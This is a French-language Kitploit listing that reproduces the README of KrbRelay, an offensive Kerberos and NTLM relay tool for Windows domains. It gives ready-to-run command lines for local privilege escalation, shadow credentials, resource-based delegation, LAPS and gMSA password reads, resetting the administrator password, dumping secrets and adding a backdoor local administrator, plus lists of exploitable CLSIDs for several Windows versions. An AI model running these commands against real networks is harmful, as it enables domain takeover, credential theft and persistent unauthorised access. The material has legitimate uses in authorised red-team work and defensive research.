Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
KrbRelay — Framework de relais Kerberos pour environnements Windows permettant le relais d'authentification, l'élévation de privilèges et le mouvement latéral via les protocoles LDAP, SMB, HTTP et RPC. | Kitploit
Outils/GitHubGitHub/cube0x0/krbrelay
Escalade de PrivilègesExploitationMouvement LatéralAuthentificationRed Teaming
GitHubcube0x0/krbrelay

KrbRelay

Framework de relais Kerberos pour environnements Windows permettant le relais d'authentification, l'élévation de privilèges et le mouvement latéral via les protocoles LDAP, SMB, HTTP et RPC.

Voir le dépôt
95313163il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

KrbRelay

Relayer des chiens à trois têtes. Plus de détails sur https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html et https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

Cela devrait fonctionner sur la plupart des systèmes Windows entièrement patchés. Il peut y avoir des difficultés avec les OS serveur dans les environnements de laboratoire à cause du pare-feu bloquant le résolveur OXID, mais cela ne posera probablement pas de problème lors d'engagements réels, de même pour les CLSID.

image-20220213094644590

Protocoles et fonctionnalités pris en charge

Certains protocoles sont plus complets que d'autres, les PR sont les bienvenus.

  • LLMNR

  • LDAP/LDAPS

  • HTTP

    • EWS
  • SMBv2

  • RPC over SMB

    • MS-SAMR
    • MS-SCMR
    • MS-RPRN
    • MS-RRP
    • MS-LSAT/MS-LSAD

Exemples

root@kitploit:~
# LPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred

# Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!

# Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate [email protected]
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182

# Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets 
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser "C:\windows\system32\cmd.exe /c """"C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add"""""

# LLMNR
.\KrbRelay.exe -llmnr -spn 'cifs/win2019.htb.local' -secrets

# NTLM (voir https://github.com/antonioCoco/RemotePotato0 pour les CLSID)
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm -downgrade

CheckPort.exe est un outil C# qui peut être utilisé pour découvrir les ports disponibles pour le résolveur OXID.

root@kitploit:~
C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] Looking for available ports..
[*] Port: 1024 is available

CLSID

Nous devons désérialiser notre OBJREF dans un processus qui permette les authentifications sur le réseau, cela peut être vérifié en regardant le Niveau d'emprunt (Impersonation Level)

  • RPC_C_IMP_LEVEL_DEFAULT # Ne fonctionnera pas
  • RPC_C_IMP_LEVEL_ANONYMOUS # Ne fonctionnera pas
  • RPC_C_IMP_LEVEL_IDENTIFY # Fonctionne pour LDAP
  • RPC_C_IMP_LEVEL_IMPERSONATE # Requis pour SMB
  • RPC_C_IMP_LEVEL_DELEGATE

Lors du relais vers LDAP ou tout autre service qui a la signature activée mais non imposée, nous devons également vérifier que le Niveau d'authentification du processus est défini sur RPC_C_AUTHN_LEVEL_CONNECT.

Les processus s'exécutant sous NT Authority\Network service utiliseront le compte SYSTEM lors de l'authentification sur le réseau.

Outil pour découvrir les CLSID : https://github.com/tyranid/oleviewdotnet

root@kitploit:~
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll' | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel

Windows 10 1903

root@kitploit:~
# Relais SYSTEM
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE 

# Relais Cross-Session
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE 
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE 
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE 
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE 
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE 
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE 

Server 2019

root@kitploit:~
# Relais SYSTEM
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Relais Cross-Session
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE 
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE 
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE 

Server 2016

root@kitploit:~
# Relais SYSTEM
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Relais Cross-Session
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE

Codes d'erreur

Cela ne marche pas du premier coup ? Réessayez puis vérifiez ces codes d'erreur, et si vous allez ouvrir un Issue, veuillez coller la sortie et l'entrée complètes.

Pare-feu bloquant le résolveur OXID

root@kitploit:~
System.Runtime.InteropServices.COMException (0x800706BA): The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)

Mauvais CLSID

root@kitploit:~
System.Runtime.InteropServices.COMException (0x80080004): Bad path to object (Exception from HRESULT: 0x80080004 (CO_E_BAD_PATH))

ou

root@kitploit:~
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. (Exception from HRESULT: 0x80070422)

Problèmes Kerberos (Type d'authentification non reconnu), fonctionnera après redémarrage/synchronisation de l'horloge

root@kitploit:~
System.Runtime.InteropServices.COMException (0x800706D3): The authentication service is unknown.

Un apReq valide commence par 0x60, vérifiez votre environnement et vos paramètres

root@kitploit:~
[*] apReq: 05000b0710000000db003300020<SNIP>

Niveau d'emprunt du CLSID ou niveau d'authentification trop bas

root@kitploit:~
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
System.UnauthorizedAccessException: Access is denied.

Access is denied.

Remerciements

  • Vletoux pour avoir démarré RPCForSMBLibrary
  • James Forshaw pour avoir introduit le relais Kerberos et NtApiDotNet
  • TalAloni pour SMBLibrary
  • MichaelGrafnetter pour DSInternals
  • Kevin Robertson pour Inveigh
  • decoder_it et splinter_code pour RemotePotato0
Télécharger l’outil